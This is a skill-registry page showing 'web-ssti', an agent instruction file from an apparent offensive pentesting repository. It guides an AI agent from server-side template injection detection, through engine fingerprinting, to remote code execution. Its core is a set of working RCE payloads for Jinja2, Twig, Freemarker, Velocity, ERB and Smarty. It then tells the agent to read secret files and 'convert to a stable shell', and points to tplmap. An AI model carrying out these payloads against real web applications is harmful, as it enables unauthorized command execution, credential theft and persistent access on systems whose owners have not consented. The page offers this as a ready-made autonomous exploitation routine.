web-ssti
Skill794 starsChanged 5 months agoMITView on GitHub
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7}, #{7*7}, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars, TemplateSyntaxError, freemarker.core.
- Reads credentials
1 other project uses a version of this.
Adopted by
Most recently taken up by
- NoorQureshi/SploitAgenttheir own version, first seen Sep 9, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- NoorQureshi/SploitAgent★ 20same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository23 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- post-exploit-phaseSkill
- reporting-phaseSkill
- playbook-adSkill
- playbook-cloudSkill
- playbook-webappSkill
- svc-cicdSkill
- svc-databaseSkill
- svc-docker-k8sSkill
- svc-ftpSkill
- svc-mobile-androidSkill
- svc-pivotingSkill
- svc-smbSkill
- svc-sshSkill
- svc-web-serverSkill
- web-auth-bypass-idorSkill
- web-deserializationSkill
- web-lfi-traversalSkill
- web-sqliSkill
- web-ssrfSkill
- web-upload-rceSkill
- web-xxeSkill
The file
Files
Server-Side Template Injection (SSTI)
When this fires
Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.
Detect
Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):
${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} @(7*7)49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.
Decide — fingerprint the engine
{{7*7}}=49 but{{7*'7'}}→7777777= Jinja2/Twig (Python/PHP);TemplateError= Jinja2.${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.#{7*7}= Ruby ERB / Thymeleaf / JSF.<%= 7*7 %>= ERB (Ruby) / EJS (Node).${{7*7}}errors but{{7*7}}ok = Handlebars/Node.
Exploit → PROVE IMPACT (engine-specific RCE)
Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig: {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB: <%= `id` %> / <%= system('id') %>
Smarty: {system('id')} / {php}system('id');{/php}Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.
Tooling
tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.
False positives / pitfalls
- Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
- Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
- WAF stripping
{{ }}→ try${},#{}, whitespace/comment obfuscation.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

